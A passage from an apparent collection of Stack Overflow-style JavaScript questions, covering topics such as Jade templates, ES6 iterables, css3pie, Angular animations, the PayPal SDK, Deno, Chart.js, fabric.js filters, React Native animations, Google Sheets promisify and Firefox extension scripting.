read-only script for this particular if-else condition.Long story short , it has become a maintenance nightmare trying to maintain all this JavaScript in my .jade template files , and my markup looks unacceptably dirty.What 's a solution for this ? This seems like such a common scenario for CRUD applications . Ideally I would like to move all javascript to a separate .js file . But if I could remove some code duplication , that would be great too . The problem is if I move inline javascript to a separate file how do I know which game am I rating ? How do I know which Buy button has user clicked on ? Right now there is no ambiguity because for N games I have N buy buttons , N modal dialogs and N rating scripts . Regardless of what anyone thinks of this style of programming , it 's an awful way to maintain the code.Please share some insight with a noobie ! Thank you in advance.Here 's a complete code snippet of my games.jade file : table.table tbody for game in games tr td.span2 img.img-polaroid ( src='/img/games/ # { game.largeImage } ' ) // continues further button.btn.btn-primary.btn-mini ( id='price- # { game.slug } ' , href= ' # buyModal ' , role='button ' , data-toggle='modal ' ) .modal.hide.fade ( id='modal- # { game.slug } ' , tabindex='-1 ' , role='dialog ' , aria-labelledby='myModalLabel ' , aria-hidden='true ' ) .modal-header span.lead Game Checkout img.pull-right ( src='/img/new_visa_medium.gif ' ) .modal-body label i.icon-user | Name on Card input.input-medium ( type='text ' ) label i.icon-barcode | Card Number input.input-medium ( type='text ' , placeholder='•••• •••• •••• •••• ' , maxlength=16 ) label i.icon-time | Expiration Date input.input-mini ( type='text ' , placeholder='MMYY ' , maxlength=4 ) label i.icon-qrcode | Card Code input.input-mini ( type='text ' , placeholder='CVC ' , maxlength=4 ) .modal-footer button.btn ( data-dismiss='modal ' , aria-hidden='true ' ) Cancel button.btn.btn-primary ( id= ' # { game.slug } ' ) Buy script ( type='text/javascript ' ) $ ( ' # _ # { game.slug } ' ) .raty ( { path : '/img ' , round : { down : .25 , full : .6 , up : .76 } , score : # { game.rating } / # { game.votes } , readOnly : true } ) ; script ( type='text/javascript ' ) $ ( ' # _ # { game.slug } ' ) .raty ( { path : '/img ' , round : { down : .25 , full : .6 , up : .76 } , score : # { game.rating } / # { game.votes } , readOnly : false , click : function ( score , event ) { var self = this ; $ .meow ( { message : 'Thanks for voting . Your rating has been recorded . ' , icon : 'http : //png-3.findicons.com/files/icons/1577/danish_royalty_free/32/smiley.png ' } ) ; $ .ajax ( { type : 'POST ' , url : '/games/rating ' , data : { slug : $ ( self ) .attr ( 'id ' ) .slice ( 1 ) , rating : score } , success : function ( ) { console.log ( 'setting to read-only ' ) ; $ ( self ) .raty ( 'readOnly ' , true ) ; } } ) ; } } ) ; extends layoutblock content br ul.nav.nav-pills if heading === 'Top 25 ' li.active a ( href='/games ' ) Top 25 else li a ( href='/games ' ) Top 25 if heading === 'Action ' li.active a ( href='/games/genre/action ' ) Action else li a ( href='/games/genre/action ' ) Action if heading === 'Adventure ' li.active a ( href='/games/genre/adventure ' ) Adventure else li a ( href='/games/genre/adventure ' ) Adventure if heading === 'Driving ' li.active a ( href='/games/genre/driving ' ) Driving else li a ( href='/games/genre/driving ' ) Driving if heading === 'Puzzle ' li.active a ( href='/games/genre/puzzle ' ) Puzzle else li a ( href='/games/genre/puzzle ' ) Puzzle if heading === 'Role-Playing ' li.active a ( href='/games/genre/role-playing ' ) Role-Playing else li a ( href='/games/genre/role-playing ' ) Role-Playing if heading === 'Simulation ' li.active a ( href='/games/genre/simulation ' ) Simulation else li a ( href='/games/genre/simulation ' ) Simulation if heading === 'Strategy ' li.active a ( href='/games/genre/strategy ' ) Strategy else li a ( href='/games/genre/strategy ' ) Strategy if heading === 'Sports ' li.active a ( href='/games/genre/sports ' ) Sports else li a ( href='/games/genre/sports ' ) Sports if games.length == 0 .alert.alert-warning | Database query returned no results . else table.table tbody for game in games .modal.hide.fade ( id='modal- # { game.slug } ' , tabindex='-1 ' , role='dialog ' , aria-labelledby='myModalLabel ' , aria-hidden='true ' ) .modal-header span.lead Game Checkout img.pull-right ( src='/img/new_visa_medium.gif ' ) .modal-body label i.icon-user | Name on Card input.input-medium ( type='text ' ) label i.icon-barcode | Card Number input.input-medium ( type='text ' , placeholder='•••• •••• •••• •••• ' , maxlength=16 ) label i.icon-time | Expiration Date input.input-mini ( type='text ' , placeholder='MMYY ' , maxlength=4 ) label i.icon-qrcode | Card Code input.input-mini ( type='text ' , placeholder='CVC ' , maxlength=4 ) .modal-footer button.btn ( data-dismiss='modal ' , aria-hidden='true ' ) Cancel button.btn.btn-primary ( id= ' # { game.slug } ' ) Buy tr td.span2 img.img-polaroid ( src='/img/games/ # { game.largeImage } ' ) td a ( href='/games/ # { game.slug } ' ) strong = game.title | & nbsp ; if user.userName button.btn.btn-primary.btn-mini ( id='price- # { game.slug } ' , href= ' # modal- # { game.slug } ' , role='button ' , data-toggle='modal ' ) i.icon-shopping-cart.icon-white = game.price if user.purchasedGames & & user.purchasedGames.length > 0 for mygame in user.purchasedGames if mygame.game.slug == game.slug script ( type='text/javascript ' ) $ ( ' # price- # { game.slug } ' ) .removeAttr ( 'href ' ) ; $ ( ' # price- # { game.slug } ' ) .html ( ' < i class= '' icon-shopping-cart icon-white '' > < /i > Purchased ' ) ; div span ( id= ' _ ' + game.slug ) span ( id='votes ' , name='votes ' ) | ( # { game.votes } votes ) div small.muted div # { game.releaseDate } | # { game.publisher } div # { game.genre } p =game.description // logged-in users if user.userName if game.votedPeople.length > 0 for voter in game.votedPeople if voter == user.userName || user.suspendedRating script ( type='text/javascript ' ) $ ( ' # _ # { game.slug } ' ) .raty ( { path : '/img ' , round : { down : .25 , full : .6 , up : .76 } , score : # { game.rating } / # { game.votes } , readOnly : true } ) ; else script ( type='text/javascript ' ) $ ( ' # _ # { game.slug } ' ) .raty ( { path : '/img ' , round : { down : .25 , full : .6 , up : .76 } , score : # { game.rating } / # { game.votes } , readOnly : false , click : function ( score , event ) { var self = this ; $ .meow ( { message : 'Thanks for voting . Your rating has been recorded . ' , icon : 'http : //png-3.findicons.com/files/icons/1577/danish_royalty_free/32/smiley.png ' } ) ; $ .ajax ( { type : 'POST ' , url : '/games/rating ' , data : { slug : $ ( self ) .attr ( 'id ' ) .slice ( 1 ) , rating : score } , success : function ( ) { console.log ( 'setting to read-only ' ) ; $ ( self ) .raty ( 'readOnly ' , true ) ; } } ) ; } } ) ; else if ( user.suspendedRating ) script ( type='text/javascript ' ) $ ( ' # _ # { game.slug } ' ) .raty ( { path : '/img ' , round : { down : .25 , full : .6 , up : .76 } , score : # { game.rating } / # { game.votes } , readOnly : true } ) ; else script ( type='text/javascript ' ) $ ( ' # _ # { game.slug } ' ) .raty ( { path : '/img/ ' , round : { down : .25 , full : .6 , up : .76 } , score : # { game.rating } / # { game.votes } , readOnly : false , click : function ( score , event ) { var self = this ; $ .meow ( { message : 'Thanks for voting . Your rating has been recorded . ' , icon : 'http : //png-3.findicons.com/files/icons/1577/danish_royalty_free/32/smiley.png ' } ) ; $ .ajax ( { type : 'POST ' , url : '/games/rating ' , data : { slug : $ ( self ) .attr ( 'id ' ) .slice ( 1 ) , rating : score } , success : function ( ) { console.log ( 'setting to read-only ' ) ; $ ( self ) .raty ( 'readOnly ' , true ) ; } } ) ; } } ) ; else script ( type='text/javascript ' ) $ ( ' # _ # { game.slug } ' ) .raty ( { path : '/img ' , round : { down : .25 , full : .6 , up : .76 } , score : # { game.rating } / # { game.votes } , readOnly : true } ) ; script ( type='text/javascript ' ) $ ( ' # # { game.slug } ' ) .click ( function ( ) { var game = this ; $ .ajax ( { type : 'post ' , url : '/buy ' , data : { slug : $ ( game ) .attr ( 'id ' ) } } ) .success ( function ( ) { $ ( ' # price- # { game.slug } ' ) .attr ( 'disabled ' , 'true ' ) ; $ ( ' # modal- ' + $ ( game ) .attr ( 'id ' ) ) .modal ( 'hide ' ) ; humane.log ( 'Your order has been submitted ! ' ) ; } ) ; } ) ;",How to separate inline javascript from dynamically generated content in Express/Node.js ? "JS : In ES6 , I was trying to use the arguments object as an iterable when passed to the Set constructor . It works fine in IE11 and in Chrome 47 . It does not work in Firefox 43 ( throws a TypeError : arguments is not iterable ) . I 've looked through the ES6 spec and can not really find a definition of whether the arguments object should be an iterable or not.Here 's an example of what I was trying to do : FYI , I know there are various work-arounds for this code such as copying the arguments object into a real array or using rest arguments . This question is about whether the arguments object is supposed to be an iterable or not in ES6 that can be used anywhere iterables are expected . function destroyer ( arr ) { var removes = new Set ( arguments ) ; return arr.filter ( function ( item ) { return ! removes.has ( item ) ; } ) ; } // remove items 2 , 3 , 5 from the passed in arrayvar result = destroyer ( [ 3 , 5 , 1 , 2 , 2 ] , 2 , 3 , 5 ) ; log ( result ) ;",Is the arguments object supposed to be an iterable in ES6 ? "JS : In order to get CSS3 effects ( border-radius , box-shadow ... ) on IE 6/7/8 , I 'm using css3pie.However , css3pie generates some css3-container ( v1 ) / css3pie ( v2 ) tags in DOM , which disorders the expected architecture . Here is an example : CSSHTMLjQueryThe actual generated source is like this : Has anyone encountered this kind of problems ? Any workaround ? Is there an alternative to css3pie to get CSS3 working on IE 6/7/8 ? pre { border : 1px solid # aaa ; border-radius : 5px ; behavior : url ( pie.htc ) ; } < div class= '' foo '' > bar < /div > < p class= '' getme '' > paragraph < /p > < pre > preformatted < /pre > // undefined expected : getmealert ( $ ( `` pre '' ) .prev ( ) .attr ( `` class '' ) ) ; // css3-container expected : palert ( $ ( `` pre '' ) .prev ( ) [ 0 ] .tagName ) ; // getme expected : fooalert ( $ ( `` pre '' ) .prev ( ) .prev ( ) .attr ( `` class '' ) ) ; // 4 expected : 3alert ( $ ( `` body '' ) .children ( ) .size ( ) ) ; // will not set expected : Impact $ ( `` p+pre '' ) .css ( { fontFamily : `` Impact '' } ) ; // it almost affects all such jQuery selctors < DIV class= '' foo '' > bar < /DIV > < P class= '' paragraph '' > paragraph < /P > < css3-container ... > < border ... > < shape ... > < stroke > < /stroke > < stroke > < /stroke > < /shape > < /border > < /css3-container > < PRE > preformatted < /PRE >","css3pie messes up DOM , results in jQuery selector errors" "JS : I have been reading about the different ways to do OOP in JS . Douglas Crockford has an interesting approach in which he does n't appear to use delegation at all . Instead , to me it appears that he purely utilizes object concatenation as his inheritance mechanism , but its kind of hard for me to tell whats going on and I 'm hoping someone can help . Here is an example that Crockford gives in one of his talks . And here is an example from a gistI 'm confused about a few things . I have never seen object literals used this way before . He does n't specify key-value pairs and instead just comma separates strings . he uses them on the left hand of an assignmentAdditionally , what are the advantages provided by freezing the object he returns ? function constructor ( spec ) { let { member } = spec , { other } = other_constructor ( spec ) , method = function ( ) { // accesses member , other , method , spec } ; return Object.freeze ( { method , other } ) ; } function dog ( spec ) { var { name , breed } = spec , { say } = talker ( { name } ) , bark = function ( ) { if ( breed === 'chiuaua ' ) { say ( 'Yiff ! ' ) ; } else if ( breed === 'labrador ' ) { say ( 'Rwoooooffff ! ' ) ; } } ; return Object.freeze ( { bark , breed } ) ; } function talker ( spec ) { var { name } = spec ; var say = function ( sound ) { console.log ( name , `` said : '' , sound ) } return Object.freeze ( { say } ) ; } var buttercup = dog ( { name : 'Buttercup ' , breed : 'chiuaua ' } ) ;",Understanding Crockford 's classless OOP implementation "JS : I 've got a card component that wraps another different components inside . It 's like a wrapper component for making the UI fancy ; I guess you have seen this approach many times.Thing is , I want these cards to be hideable , just showing the footer ( which , by the way , is also created by the child component , not the card itself ) .Therefore , my approach to handle animations , is : I click in the icon that switches the card between visible and hidden.It outputs ( with @ Output ( ) ) some variable that is used in the child element for hiding the part of the component you only want to show when the card is `` activated '' .This same variable is used in two different animations : one in the card , for making it smaller , and other in the inner component , for hiding the part that you do n't want to show when the card is `` deactivated '' .You can see the big picture with these little snippets , starting by the implementation : Inner component : Parent component ( card ) : Okay , this approach `` works '' . See the gifs and judge by yourself : Behavior with `` normal '' clicks : https : //gyazo.com/2c24d457797de947e907eed8a7ec432eStrange bug when clicking fast ( one out of various different ones that appear in this situation ) : https : //gyazo.com/bdc8dde3b24b712fa2b5f4dd530970dcOkay , this is weird . Look at how my code is in the inner component to hide the part I do n't want to show : I tried putting in the transition , the `` ease in '' , `` ease out '' , aswell the `` fade '' options , but nothing seems to change the behavior . Not even changing the duration . None of these changes avoid these bugs from happening , and absolutely , no one makes it do what I want : make that part of the component appear slowly , so the opacity grows/lowers down slowly from one state to the another , instead of suddenly appearing/disappearing . < card [ title ] = '' 'DATE SELECT ' '' class= '' col '' ( cardOpen ) = '' config ? .cardStatus [ 'dateselect ' ] = $ event '' > < date-picker-wrapper class= '' date-wrapper '' [ cardOpen ] = '' config ? .cardStatus [ 'dateselect ' ] '' [ config ] = '' config '' [ dateranges ] = '' dateranges '' [ doubleDateRange ] = '' false '' > < /date-picker-wrapper > < /card > < div class= '' row margin upper-margin '' [ @ animate ] = '' cardOpen '' > // lots of code < /div > @ Component ( { selector : `` card '' , styleUrls : [ `` ./card.css '' ] , template : ` < div class= '' col card '' [ @ animate ] = '' enabled '' > < div class= '' row card-header '' > { { title } } < i ( click ) = '' switchVisibility ( ) '' class= '' fa fa-chevron-down icon-right '' > < /i > < /div > < ng-content > < /ng-content > < /div > ` , animations : [ trigger ( 'animate ' , [ state ( 'false ' , style ( { minHeight : `` 98px '' , height : `` 98px '' , maxHeight : `` 98px '' , } ) ) , state ( 'true ' , style ( { minHeight : `` 270px '' , height : `` 270px '' , maxHeight : `` 270px '' } ) ) , transition ( 'false = > true ' , animate ( '400ms ease-in ' ) ) , transition ( 'true = > false ' , animate ( '400ms ease-out ' ) ) ] ) ] } ) animations : [ trigger ( 'animate ' , [ state ( 'false ' , style ( { opacity : 0 } ) ) , state ( 'true ' , style ( { opacity : 1 } ) ) , transition ( 'false = > true ' , animate ( '100ms ' ) ) , transition ( 'true = > false ' , animate ( '100ms ' ) ) ] ) ]",Angular animations failing for opacity settings ( and more bugs ) "JS : I 'm playing around with the new PayPal Javascript SDK buttons here https : //developer.paypal.com/docs/checkout/reference/customize-sdkOur app sells digital goods and does n't require a shipping address . Is there any way to turn that off ? // render paypal buttonspaypal.Buttons ( { createOrder : function ( data , actions ) { // Set up the transaction return actions.order.create ( { purchase_units : [ { amount : { value : $ scope.total } } ] , application_context : { shipping_preference : `` NO_SHIPPING '' } } ) ; } , onApprove : function ( data , actions ) { // Capture the funds from the transaction return actions.order.capture ( ) .then ( function ( details ) { // Show a success message to your buyer alert ( 'Transaction completed by ' + details.payer.name.given_name + ' order ID : ' + data.orderID ) ; } ) ; } } ) .render ( ' # paypal-button-container ' ) ;",How to Turn off shipping with new PayPal JavaScript SDK "JS : I have the following : At some point I am replacing this to this : But it pushes the text , how can I make it stay in the same order as before ? This is what I tried : AndIt did n't work.Do you know any solution ? Thanks in advance . Text text text2 text texttext text text text text . Text text < div class= '' highlight '' style= '' background-color : red ; '' > text2 < /div > text texttext text text text text . float : left ; parent ( ) .css ( 'overflow ' , 'auto ' ) ;",Stop dynamic div to push other elements JS : Was reading the homepage of deno the new JS runtimeI saw the following code : I never have seen the following syntax ( for await ) : What is this kind of syntax ? Is it specific to deno or is it a top-level-await found in this tc39 proposal ? Edit : Why can it be used outside of an async function ? import { serve } from `` https : //deno.land/std @ 0.50.0/http/server.ts '' ; const s = serve ( { port : 8000 } ) ; console.log ( `` http : //localhost:8000/ '' ) ; for await ( const req of s ) { req.respond ( { body : `` Hello World\n '' } ) ; } for await ( const req of s ) { req.respond ( { body : `` Hello World\n '' } ) ; },Deno top level await "JS : Consider this array : I ’ m trying to get the width and height of the rectangle with the largest area in this 2D array . The answer should be 8 * 4 = 32 ( coordinates ( 1 , 1 ) , ( 1 , 8 ) , ( 4 , 1 ) and ( 4 , 8 ) ) , since it has the largest area with the same corners `` A '' . [ [ `` B '' , `` C '' , `` C '' , `` C '' , `` C '' , `` B '' , `` B '' , `` C '' , `` A '' , `` A '' ] , [ `` B '' , `` A '' , `` C '' , `` B '' , `` B '' , `` A '' , `` B '' , `` B '' , `` A '' , `` A '' ] , [ `` B '' , `` C '' , `` B '' , `` C '' , `` A '' , `` A '' , `` A '' , `` B '' , `` C '' , `` B '' ] , [ `` B '' , `` B '' , `` B '' , `` A '' , `` C '' , `` B '' , `` A '' , `` C '' , `` B '' , `` A '' ] , [ `` A '' , `` A '' , `` A '' , `` C '' , `` A '' , `` C '' , `` C '' , `` B '' , `` A '' , `` C '' ] , [ `` A '' , `` B '' , `` B '' , `` A '' , `` A '' , `` C '' , `` B '' , `` C '' , `` C '' , `` C '' ] , [ `` C '' , `` B '' , `` A '' , `` A '' , `` C '' , `` B '' , `` B '' , `` C '' , `` A '' , `` A '' ] ]",How to find the largest rectangle in a 2D array formed by four identical corners ? "JS : The problem is that the green bar is at the wrong x position . It is currently at '29 okt ' but I tagged it with '15 nov'How do I set those datasets to the correct x position data : { labels : [ '29 Oct , 18 ' , '30 Oct , 18 ' , '02 Nov , 18 ' , '14 Nov , 18 ' , '15 Nov , 18 ' , '19 Nov , 18 ' , '20 Nov , 18 ' , '28 Nov , 18 ' ] , datasets : [ { pointRadius : 0 , label : 'Positive ' , lineTension : 0 , data : [ { ' x ' : '15 Nov , 18 ' , ' y ' : 18636 } ] , borderWidth : 1 , backgroundColor : 'rgba ( 0 , 255 , 0 , 0.5 ) ' , } , { pointRadius : 0 , label : 'Negative ' , lineTension : 0 , data : [ { ' x ' : '29 Oct , 18 ' , ' y ' : -20480 } , { ' x ' : '30 Oct , 18 ' , ' y ' : -284 } , { ' x ' : '02 Nov , 18 ' , ' y ' : -1625 } , { ' x ' : '14 Nov , 18 ' , ' y ' : -6622 } , { ' x ' : '15 Nov , 18 ' , ' y ' : -12991 } , { ' x ' : '19 Nov , 18 ' , ' y ' : -1645 } , { ' x ' : '20 Nov , 18 ' , ' y ' : -1230 } , { ' x ' : '28 Nov , 18 ' , ' y ' : -39612 } ] , borderWidth : 1 , backgroundColor : 'rgba ( 255 , 0 , 0 , 0.5 ) ' , } ] } ,",Chartjs 2.7.3 : Set Y data at the correct X position axis "JS : I want to generate following HTML string using jQuery append . Writing code manually looks too cumbersome to me.For example , it should be written something like in the format below.What is the best possible way to create HTMLs like above using jQuery append ? Lead here is really appreciated . < div > < label > Name ( Optional ) < /label > < input type='text ' class='form-control ' id='job-name'/ > < br / > < label > Quick Schedule < /label > < br / > < a class= '' btn btn-primary '' onclick= '' schedule = ' @ hourly ' ; job_string ( ) ; '' > Hourly < /a > < a class= '' btn btn-primary '' onclick= '' schedule = ' @ daily ' ; job_string ( ) ; '' > Daily < /a > < a class= '' btn btn-primary '' onclick= '' schedule = ' @ weekly ' ; job_string ( ) ; '' > Weekly < /a > < a class= '' btn btn-primary '' onclick= '' schedule = ' @ monthly ' ; job_string ( ) ; '' > Monthly < /a > < a class= '' btn btn-primary '' onclick= '' schedule = ' @ yearly ' ; job_string ( ) ; '' > Yearly < /a > < br / > < br / > < div class= '' row '' > < div class= '' col-md-2 '' > Minute < /div > < div class= '' col-md-2 '' > Hour < /div > < div class= '' col-md-2 '' > Day < /div > < div class= '' col-md-2 '' > Month < /div > < div class= '' col-md-2 '' > Week < /div > < /div > < div class= '' row '' > < div class= '' col-md-2 '' > < input type= '' text '' class= '' form-control '' id= '' job-minute '' value= '' * '' onclick= '' this.select ( ) ; '' / > < /div > < div class= '' col-md-2 '' > < input type= '' text '' class= '' form-control '' id= '' job-hour '' value= '' * '' onclick= '' this.select ( ) ; '' / > < /div > < div class= '' col-md-2 '' > < input type= '' text '' class= '' form-control '' id= '' job-day '' value= '' * '' onclick= '' this.select ( ) ; '' / > < /div > < div class= '' col-md-2 '' > < input type= '' text '' class= '' form-control '' id= '' job-month '' value= '' * '' onclick= '' this.select ( ) ; '' / > < /div > < div class= '' col-md-2 '' > < input type= '' text '' class= '' form-control '' id= '' job-week '' value= '' * '' onclick= '' this.select ( ) ; '' / > < /div > < div class= '' col-md-2 '' > < a class= '' btn btn-primary '' onclick= '' set_schedule ( ) ; '' > Set < /a > < /div > < /div > < /div > $ ( ' < div/ > ' ) .append ( ) .append ( ) ... .",HTML String via jQuery append "JS : Here my canvas is rendered with grayscale filter . It does not have issue but when I try to convert canvas to url it is giving me the canvas without filter.I dont know whats wrong in here.. What am I doing wrong . I want to convert the canvas that have filter to urlvar img = canvas.toDataURL ( 'image/png ' ) gives me image without filterNeed help export function filter ( url ) { var c = document.createElement ( 'canvas ' ) c.id = `` canvas_greyscale '' var canvas = new fabric.Canvas ( 'canvas_greyscale ' ) fabric.Image.fromURL ( url , function ( oImg ) { c.height = oImg.height c.width = oImg.width oImg.filters.push ( new fabric.Image.filters.Grayscale ( ) ) oImg.applyFilters ( canvas.renderAll.bind ( canvas ) ) canvas.add ( oImg ) var img = canvas.toDataURL ( 'image/png ' ) console.log ( img ) return img } , { crossOrigin : `` Anonymous '' } ) }",javascript fabricjs filter do not return filtered canvas to url "JS : I 'm getting a warning in React Native that I 've narrowed down to one line and I 've no clue why.I 've built a helper function to animate colors and values in a series like : And that function is pretty simple , note the commented line causing the error : Other than that warning , the code works perfectly as expected . I 'd hate to just ignore a warning I do n't understand though . Should I report this as a bug to the React Native repo , or is the warning warranted ? Stack trace , for those interested . animate ( [ this , `` textColor '' , 250 , `` # fff1cc '' ] ) ; animate ( [ this , `` rise '' , 250 , 25 ] , [ this , `` rise '' , 250 , 0 ] ) ; // React Modulesimport { Animated } from `` react-native '' ; // Exportexport default function func ( ) { step ( 0 , arguments ) ; } // Extrasfunction step ( index , args , delay = 0 ) { if ( args [ index ] ) { let argument = args [ index ] ; index++ ; handle ( argument , delay , ( ) = > { step ( index , args ) ; } ) ; } } function handle ( argument , delay = 0 , callback ) { let that = argument [ 0 ] ; let label = argument [ 1 ] ; let duration = argument [ 2 ] ; let endColor = argument [ 3 ] ; let startColor = argument [ 4 ] ; if ( ! that.interpolations ) { that.interpolations = { } ; } if ( ! that.animations ) { that.animations = { } ; } if ( ! that.animations [ label ] ) { that.animations [ label ] = new Animated.Value ( 0 ) ; } if ( typeof endColor == `` string '' ) { if ( ! startColor ) { if ( that.interpolations [ label ] ) { startColor = JSON.stringify ( that.interpolations [ label ] ) ; } else { startColor = `` # ffffff '' ; } } that.interpolations [ label ] = that.animations [ label ] .interpolate ( { inputRange : [ 0 , 100 ] , outputRange : [ startColor , endColor ] } ) ; startValue = 0 ; endValue = 100 ; } else { startValue = startColor || that.animations [ label ] || 0 ; // setting this to that.animations [ label ] causes the warning endValue = endColor ; } Animated.timing ( that.animations [ label ] , { // warning triggered when // Animated.timing ( ) executes while startValue is set to that.animations [ label ] toValue : startValue , duration : 0 } ) .start ( ) ; Animated.timing ( that.animations [ label ] , { toValue : endValue , duration : duration || 500 } ) .start ( callback ) ; }",`` Warning : Trying to remove a child that does n't exist '' Why am I getting this warning in React Native ? "JS : so if Function is an Object and the Object is a Function how comeFunction === Object and Function == Object are false ? I do understand that checking the instance of an object is not the same as comparison . So the question here is the fuzziness in the case where if two objects ( which are actually types ) are instances of each other , should n't the types be the same ? Note : Object is not an instance of a Number or an Array just an instance of Function . Object instanceof ObjecttrueObject instanceof FunctiontrueFunction instanceof ObjecttrueFunction instanceof Functiontrue",Object and Function are quite confusing "JS : I have this basic express ( 4.13.3 ) server in Node ( 4.2.3 ) .Then I simulate file upload using cURL like this : It starts uploading ( although nothing happens with it ) and when it ends , event end fires.The problem starts when I abort the upload with Ctrl+C.No event fires at all . Nothing happens.req object inherits from IncomingMessage , thus inherits from Readable , Stream and EventEmitter.Is there any event at all to catch such an abort ? Is there any way to know if the client aborts file upload ? First edit : User @ AwalGarg proposed req.socket.on ( 'close ' , function ( had_error ) { } ) but I 'm wondering if there is any solution to this which is not using sockets ? //blah blah initialization codeapp.put ( '/ ' , function ( req , res ) { req.on ( 'close ' , function ( ) { console.log ( 'closed ' ) ; } ) ; req.on ( 'end ' , function ( ) { console.log ( 'ended ' ) ; } ) ; req.on ( 'error ' , function ( err ) { console.log ( err ) ; } ) ; res.send ( 200 ) ; } ) ; curl http : //localhost:3000/ -X PUT -T file.zip",IncomingMessage abort event "JS : I 'm attempting to convert a Greasemonky script to an extension for Firefox and I 'm trying to make my extension automatically attach a simple script to any webpage when a new tab is opened . I 'm converting the script from Greasemonkey because I 'd like to take advantage of advanced preferences and menu options.I access the tab using this : and my goal is to append the script to the document in the new tab once it loads using this function : This function works fine to attach the script to the current page when attached to a toolbar button with oncommand= '' scriptrunner ( window ) '' , but I do n't know how I could access the window in the newly opened tab , or if I should cut out the window from the equation and access the document another way . var container = gBrowser.tabContainer ; container.addEventListener ( `` TabOpen '' , tabAdded , false ) ; function tabAdded ( event ) { var newtabwindow = event.target.____ //I do n't know what goes here//attach script to newtabwindow } function scriptrunner ( targetwindow ) { var myScript = targetwindow.content.document.createElement ( 'script ' ) ; myScript.type = 'text/javascript ' ; myScript.setAttribute ( 'src ' , 'chrome : //addonname/content/addonscript.js ' ) ; targetwindow.content.document.getElementsByTagName ( 'head ' ) [ 0 ] .appendChild ( myScript ) ; }",How can I access a newly-opened tab 's window object ? [ in a firefox extension ] "JS : I am using jQuery 's template plugin rendering several row items similiar to this : I am wondering if it is possible to make use of jQuery 's data function to be able to associate each row item back to an identifier for updating.Normally you could do something like this : However you do n't have this type of control when templating.Note : I 'd rather not use new hidden elements to store this data on each row , or additional attributes on the elements if I do n't have to.Ideas ? Thanks var clientData = [ { name : `` Rey Bango '' , id : 1 } , { name : `` Mark Goldberg '' , id : 2 } , { name : `` Jen Statford '' , id : 3 } ] ; < script id= '' clientTemplate '' type= '' text/html '' > < li > < $ { name } < /li > < /script > $ ( `` # clientTemplate '' ) .tmpl ( clientData ) .appendTo ( `` ul '' ) ; $ .each ( clientData , function ( idx , item ) { $ ( ' < li > < /li > ' ) .appendTo ( 'ul # clientTemplate ' ) .text ( item.name ) .data ( 'clientId ' , item.id ) ; } ) ; $ ( 'ul # clientTemplate li ' ) .click ( function ( ) { updateClient ( $ ( this ) .data ( 'clientId ' ) ) ; } ) ;",jQuery Templating - Associating data to template DOM elements "JS : If I use callbacks , the code below using Google 's Sheets API v4 works fine.However , I am trying to apply util.promisify to the API call . This causes : which is thrown from : This line 592 says : context : this.getRoot ( ) I am probably not using promisify correctly and I hope that someone here can help me . I suspect it might have something to do with concurrency.Any tip would be appreciated . Can not read property 'getRoot ' of undefined node_modules\googleapis\build\src\apis\sheets\v4.js:592 let { promisify } = require ( 'util ' ) ; let { google } = require ( 'googleapis ' ) ; let sheets = google.sheets ( 'v4 ' ) ; let credentials = require ( './credentials.json ' ) let client = new google.auth.JWT ( credentials.client_email , null , credentials.private_key , [ 'https : //www.googleapis.com/auth/spreadsheets ' ] ) client.authorize ( ( err , tokens ) = > { if ( err ) { throw err ; } } ) ; let endpoint = promisify ( sheets.spreadsheets.values.get ) ; async function test ( ) { let request = { auth : client , spreadsheetId : `` xxxxxxxx '' , range : `` 'ExampleSheet ' ! A : B '' , valueRenderOption : `` UNFORMATTED_VALUE '' , majorDimension : `` ROWS '' , } let result = await endpoint ( request ) .then ( ( res ) = > { return res } ) .catch ( ( err ) = > { console.log ( err ) ; } ) ; } test ( ) ;",Promisifying Sheet API v4 causes undefined this "JS : My suggestion engine works fine , I just have a problem because when I click on item its json object appears in input element . I would like only OrgName to appear in input value . < input class= '' form-control companySearch '' type= '' text '' value= '' '' name= '' q '' autocomplete= '' off '' placeholder= '' Search a company '' > var organization = new Bloodhound ( { remote : { url : '/search/org ? term= % QUERY % ' , wildcard : ' % QUERY % ' } , datumTokenizer : Bloodhound.tokenizers.whitespace ( 'term ' ) , queryTokenizer : Bloodhound.tokenizers.whitespace } ) ; $ ( `` .companySearch '' ) .typeahead ( { hint : true , highlight : true , minLength : 1 , } , { source : organization.ttAdapter ( ) , name : 'organizationsList ' , templates : { suggestion : function ( data ) { return ' < a class= '' list-group-item `` > ' + data.OrgName + ' , '+ data.address.Address+ ' , '+ data.address.city.City+ ' , ' + data.address.city.country.Country + ' < /a > ' ; } } } ) ;",Why Typeahead shows json object in input after click "JS : I am working with an internal administration tool that runs on Javascript that has the following in its core CSS file : Based on my research , this would be the lowest level of specificity . Anything would override that setting.My goal is to change the font on the entire page to improve legibility . I am using Python / Selenium webdriver with Firefox to modify the tag 's style setting with this Javascript , which results in the following inline HTML : The change is propagating to the sheet . However , the font does n't change . Under the `` Computed '' view , I see the following : When I disable the * CSS property in the Firefox Inspector after making the change , the font change will occur . So something is overriding my inline style change.I am in a blackbox environment as an end user , so I ca n't account for everything happening.Could this be caused by an actively-running Javascript that is forcing the stylesheet to take precedent over inline styles ? * { font-family : Helvetica , Verdana , Arial , sans-serif ; } document.getElementsByTagName ( `` body '' ) [ 0 ] .style = `` font-family : Lucida Fax ; '' ; < body style= '' font-family : Lucida Fax ; '' > font-family : Helvetica , Verdana , Arial , sans-serif ; -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- * > Helvetica , Verdana , Arial , sans-serif core.css ; BODY [ 1 ] .style > Lucida Fax element ;",Why would a universal CSS selector ( * ) override an inline style ? "JS : I have the following code to save my data in current page state.But now , I want to also save another value which is scrollTop . And if I doThe code above will replace the history state with the new one and myData will be gone.The question , Is there anyway I can add scrollTop while there 's myData in my history state ? Or I just have to set it initially like , I am thinking if there 's a function like window.history.state.addObject or something . window.history.pushState ( { myData : data } , `` RandomTitle '' , ' # ' ) ; window.history.pushState ( { scrollTop : scrollTop } , `` RandomTitle '' , ' # ' ) ; window.history.pushState ( { myData : data , scrollTop : 0 } , `` RandomTitle '' , ' # ' ) ; // To change the scrollTop in history statewindow.history.state.scrollTop = $ ( window ) .scrollTop ( ) ;",How to add or append new stateObject to history "JS : I have a series of editable lists which , on a press of a button should be transformed into some sort of data structure . When it has been turned into some sort of data I need to add duplicates together.Example:200g banana 100g apple 200g appleShould be turned into a data list of some sort and should in the end look like this:200g banana300g appleHere 's my attempt : Basically I click the button and the above script finds all the relevant data . How can I turn this into a multidimensional array or a list of objects I can search for duplicates in ? When I try to make a dynamic object it seems to fail and when I make a multidimensional array 